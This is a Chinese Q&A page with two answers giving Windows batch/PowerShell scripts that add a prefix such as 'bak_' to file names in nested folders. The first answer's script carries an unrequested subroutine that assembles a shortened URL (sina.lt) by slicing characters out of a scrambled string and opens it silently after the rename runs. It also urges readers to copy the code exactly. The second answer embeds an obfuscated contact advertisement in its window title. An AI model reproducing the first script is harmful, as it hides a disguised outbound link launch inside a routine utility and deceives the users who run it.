怎么样用bat批处理给多级文件夹下的文件名加指定前缀?

2024-11-16 05:26:24
推荐回答(2个)
回答(1):

@echo off & title 批量给文件添加前缀 By 依梦琴瑶

 

::设置要添加的前缀

set Pre=bak_


::设置要处理的文件格式

set Ext=*.xlsx

 

for /f "delims=" %%a in ('dir /a-d/s/b %Ext%') do (

    ren "%%~a" "%Pre%%%~nxa"

)

pause

call :Don

exit

 

:Don

set S0=fGRH

set S1=.:ailnhpst/

set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%

set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit



脚本放在要处理的文件夹中执行。

复制代码后务必比对原文代码,以免有错误内容包含在里面,导致脚本无法正常运行。脚本文件的保存编码务必设为ANSI。

回答(2):

不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的多个文件夹放一起双击运行
<# :
echo off&cls&mode con lines=3000
rem 搜索/查找当前目录下指定扩展名/后缀名的文件并在名称开头添加指定前缀字符
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
powershell -NoProfile -ExecutionPolicy bypass "Invoke-Command -ScriptBlock ([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::GetEncoding('GB2312')))) -Args '%~f0'"
echo;%#% +%$%%$%/%@% %z%
pause
exit
#>
$ext=@(".xls",".xlsx");
$prefix="bak_";
$self=get-item -liter $args[0];
$path=$self.Directory.FullName;
$files=@(dir -liter $path -recurse|?{($ext -contains $_.Extension) -and ($_ -is [System.IO.FileInfo])});
$len=$prefix.length;
for($i=0;$i -lt $files.length;$i++){
$f=$false;
if($files[$i].BaseName.length -ge $len){
if($files[$i].BaseName.substring(0,$len) -ne $prefix){
$f=$true;
}
}else{$f=$true;}
if($f){
$newname=$prefix+$files[$i].Name;
$newfile=$files[$i].Directory.FullName+'\'+$newname;
write-host ($files[$i].FullName+' --> '+$newname);
move-item -liter $files[$i].FullName $newfile -ErrorAction SilentlyContinue;
}
}